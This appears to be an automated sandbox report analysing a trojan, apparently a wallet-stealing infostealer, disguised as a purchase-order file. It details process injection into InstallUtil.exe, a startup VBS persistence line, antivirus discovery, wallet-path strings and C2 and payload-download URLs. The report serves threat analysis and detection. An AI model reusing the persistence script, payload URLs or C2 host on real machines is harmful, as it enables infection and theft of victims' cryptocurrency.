Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 76EFA6F0	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 462000	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 6FA008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 76EFA6F0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 460000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 462000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: CA5008	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe "C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]q$
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002F1D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002D2C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]q\5
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerh{]qT
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002F1D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002D2C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager*
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002F1D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002D2C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.0000000002D77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]q
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]qtr

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Queries volume information: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Queries volume information: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet@\]q com.liberty.jaxx
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q1C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: InstallUtil.exe, 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2163407938.0000000006430000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Jump to behavior

Source: Yara match	File source: 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5488, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	321 Windows Management Instrumentation	111 Scripting	212 Process Injection	1 Masquerading	OS Credential Dumping	621 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	341 Virtualization/Sandbox Evasion	Security Account Manager	341 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	213 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
PO-12202432_ACD_Group.pif.exe	68%	ReversingLabs	Win32.Trojan.Leonem
PO-12202432_ACD_Group.pif.exe	100%	Avira	HEUR/AGEN.1308638
PO-12202432_ACD_Group.pif.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	100%	Avira	HEUR/AGEN.1308638
C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	68%	ReversingLabs	Win32.Trojan.Leonem

Source	Detection	Scanner	Label	Link
https://www.chirreeirl.com/wp-panel/uploads/Vwibbc.mp4	0%	Avira URL Cloud	safe
https://www.chirreeirl.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pureeratee.duckdns.org	193.187.91.218	true	true	unknown
chirreeirl.com	209.58.149.225	true	false	unknown
www.chirreeirl.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.chirreeirl.com/wp-panel/uploads/Vwibbc.mp4	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-neti	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll	InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354rCannot	InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe	InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe	InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.chirreeirl.com	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
209.58.149.225	chirreeirl.com	United States		394380	LEASEWEB-USA-DAL-10US	false
193.187.91.218	pureeratee.duckdns.org	Sweden		197595	OBE-EUROPEObenetworkEuropeSE	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586913
Start date and time:	2025-01-09 18:56:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-12202432_ACD_Group.pif.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/4@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 399 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 5008 because it is empty
Execution Graph export aborted for target InstallUtil.exe, PID 5488 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO-12202432_ACD_Group.pif.exe

Simulations

Behavior and APIs

Time	Type	Description
12:56:51	API Interceptor	24x Sleep call for process: PO-12202432_ACD_Group.pif.exe modified
12:57:12	API Interceptor	11467310x Sleep call for process: InstallUtil.exe modified
12:57:14	API Interceptor	20x Sleep call for process: IsNestedFamANDAssem.exe modified
18:57:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
209.58.149.225	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse
	https://contract-kitchensbywoodys16713653.brizy.site/	Get hash	malicious	Unknown	Browse
193.187.91.218	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse
193.187.91.218	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pureeratee.duckdns.org	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	193.187.91.218
pureeratee.duckdns.org	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	193.187.91.218

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LEASEWEB-USA-DAL-10US	https://ccml.io/	Get hash	malicious	Unknown	Browse	172.241.26.5
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	209.58.149.225
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	209.58.149.225
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	172.241.229.61
	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	209.58.145.210
	JHPvqMzKbz.exe	Get hash	malicious	Vidar	Browse	172.241.51.69
	arm7.elf	Get hash	malicious	Unknown	Browse	172.241.27.111
	https://bitfinexinvestment.com/	Get hash	malicious	Unknown	Browse	209.58.153.106
	http://www.web3walletsync.com/	Get hash	malicious	Unknown	Browse	209.58.146.114
	https://click.dn.askhelp247.com/?qs=56daa84a9aeab310141fd7b3abd36125b539fd4f3799231d7ea795f5ca63ee3d16f8d954cbf1ffa46296eb2ff8fe4db6c125eafbd8e358283667a34a51f183ee	Get hash	malicious	Unknown	Browse	172.241.26.5
OBE-EUROPEObenetworkEuropeSE	G6hxXf90i5.exe	Get hash	malicious	Unknown	Browse	185.157.162.103
	G6hxXf90i5.exe	Get hash	malicious	Unknown	Browse	185.157.162.103
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	185.157.162.216
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	193.187.91.218
	RFQ-12202431_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	193.187.91.218
	ZppxPm0ASs.exe	Get hash	malicious	Xmrig	Browse	185.157.162.216
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.157.162.216
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.157.162.216
	file.exe	Get hash	malicious	Xmrig	Browse	185.157.162.216
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	185.157.162.216

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	209.58.149.225
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	209.58.149.225
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	209.58.149.225
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	209.58.149.225
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse	209.58.149.225
	s7.mp4.hta	Get hash	malicious	LummaC	Browse	209.58.149.225
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	209.58.149.225
	5dFLJyS86S.ps1	Get hash	malicious	Unknown	Browse	209.58.149.225
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	209.58.149.225

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	5.349889760691853
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhRAE4KzetfE4KnKIE4oKNzKo9E4KhM:MxHKlYHKh3oRAHKzetfHKntHo6lHKG
MD5:	91323CD5C720493F291A5308AF630221
SHA1:	1F94B2F25F7CE942EA6289E8B74295F4689F8A1B
SHA-256:	8EB1993F0CE22F0757AA4E5DB1CF6173C44EBE5CA272CEDFC141961E0A63DE1A
SHA-512:	46858065C5A8BE1BDB19AE7E6A03E6853F65F4F958291733AF36D2C5208072AD5E5EE0C28080FC5D462551445B69BF7D4D5B1E50857FF7E5D7BF36FEABB54E98
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=n

C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

Download File

Process:	C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27136
Entropy (8bit):	5.516192210902329
Encrypted:	false
SSDEEP:	384:RTo2ZKanPS/jKkWS+72x+oVQ4ZHiYzfmP4a0fIMbRodF5YHqZlEOmWVYvZ:omsz+72x+qQUicfFfdE0AiB
MD5:	95BEC6594E293A42F4ABB049EA7E81DB
SHA1:	36ECE8150F0619FC81BBF92BD840CAD252BF1AEA
SHA-256:	43057C1F8E32C29342CFB790C692C291F33526F9BE1380758B9C7C42344A5948
SHA-512:	51989412F10AA223E52190587EBF20D0EF447C96D75B9C1D6592DB9C1814D9F56C213CF4B2AD1543D5FC5F20A775D0DB55820D5725A88EF983C454020E6A68C4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...O.xg.................`..........2~... ........@.. ....................................`..................................}..J.......~............................................................................ ............... ..H............text...8^... ...`.................. ..`.rsrc...~............b..............@..@.reloc...............h..............@..B.................~......H........D...9...........................................................0..]........d+>.%-.+;.-.+.+7+8Y.-.+5+6.,..X+2+3+42..,.r...p..(....(....(.....+..+..+..+..+..+..+..+..+......( .....( ...B+..+..+.(....+.....0..R.......+C+D~5...%-.&~4.....p...s!...%.5...~6...%-.&~4.....q...s"...%.6...+..+..+.(...++....s#...%(.....+.u....r1..p .......+.+.o$...+.o%...+.o&...+...+.&*(....+..0..........8....-.rE..p8....z8....-.rQ..p8....z8....8....8.....8....8....8..........XoK....,...

C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Download File

Process:	C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.834234199155982
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC5fmVhRt0dinn:FER/lFHI9aZ5fmV3t0din
MD5:	E5B1EDE78023372737C1B237DE79C923
SHA1:	41C0C32357716734A7218D3905291EE7DD8289E6
SHA-256:	DB9DD5EC3837B863774EE122EFC88BC2BCA8894480AB5E922F82AB60ADBF9307
SHA-512:	CE9AFCAEF7E8FAE5D523ABDB817160D9319F0FA4045B805713D7A17E62462D48FE853B6D9081DAD6E01305F624E714A4BE0E88010F465A14647F0B785A183AC7
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe"""

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.516192210902329
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PO-12202432_ACD_Group.pif.exe
File size:	27'136 bytes
MD5:	95bec6594e293a42f4abb049ea7e81db
SHA1:	36ece8150f0619fc81bbf92bd840cad252bf1aea
SHA256:	43057c1f8e32c29342cfb790c692c291f33526f9be1380758b9c7c42344a5948
SHA512:	51989412f10aa223e52190587ebf20d0ef447c96d75b9c1d6592db9c1814d9f56c213cf4b2ad1543d5fc5f20a775d0db55820d5725a88ef983c454020e6a68c4
SSDEEP:	384:RTo2ZKanPS/jKkWS+72x+oVQ4ZHiYzfmP4a0fIMbRodF5YHqZlEOmWVYvZ:omsz+72x+qQUicfFfdE0AiB
TLSH:	C7C26B6CC3D81A62CBFE5F3A98F55340877AFB0EB99BE75F088435CA5E027A4445071A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...O.xg.................`..........2~... ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x407e32
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
